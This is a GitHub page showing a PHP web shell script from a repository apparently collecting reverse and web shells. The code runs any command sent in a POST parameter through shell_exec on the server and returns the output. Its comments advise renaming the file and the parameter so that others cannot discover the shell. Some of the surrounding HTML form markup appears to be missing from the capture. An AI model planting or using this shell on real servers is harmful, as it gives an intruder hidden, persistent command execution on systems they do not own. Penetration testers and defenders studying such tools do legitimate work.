php-reverse-shell/src/web/simple_php_web_shell_post.php at master · ivan-sincek/php-reverse-shell · GitHub

40 lines (38 loc) · 1.61 KB

<?php

// v3.0

// Requires PHP v4.0.0 or greater.

// modify the script name and request parameter name to random ones to prevent others form accessing and using your web shell

// your parameter/key here

$parameter = 'command';

$output = null;

if (isset($_SERVER['REQUEST_METHOD']) && strtolower($_SERVER['REQUEST_METHOD']) === 'post' && isset($_POST[$parameter]) && ($_POST[$parameter] = trim($_POST[$parameter])) && strlen($_POST[$parameter]) > 0) {

// if shell_exec() is disabled, search for an alternative method

$output = @shell_exec("($_POST[$parameter]) 2>&1");

if ($output === false) {

$output = 'ERROR: The method might be disabled';

} else {

$output = str_replace('<', '<', $output);

$output = str_replace('>', '>', $output);

}

// if you do not want to use the whole HTML as below, uncomment this line and delete the whole HTML

// garbage collector requires PHP v5.3.0 or greater

// echo "<pre>{$output}</pre>"; unset($output); unset($_POST[$parameter]);/* @gc_collect_cycles();*/

}

<!DOCTYPE html>

<head>

<title>Simple PHP Web Shell</title>

</head>

<body>

<input name="<?php echo $parameter; ?>" type="text" required="required" autofocus="autofocus" placeholder="Enter Command">

</form>

</body>

</html>

<?php unset($output); unset($_POST[$parameter]);/* @gc_collect_cycles();*/ ?>

php-reverse-shell/src/web/simple_php_web_shell_post.php at master · ivan-sincek/php-reverse-shell · GitHub

Expand file tree

Breadcrumbs

simple_php_web_shell_post.php

Latest commit

History

Breadcrumbs

simple_php_web_shell_post.php

File metadata and controls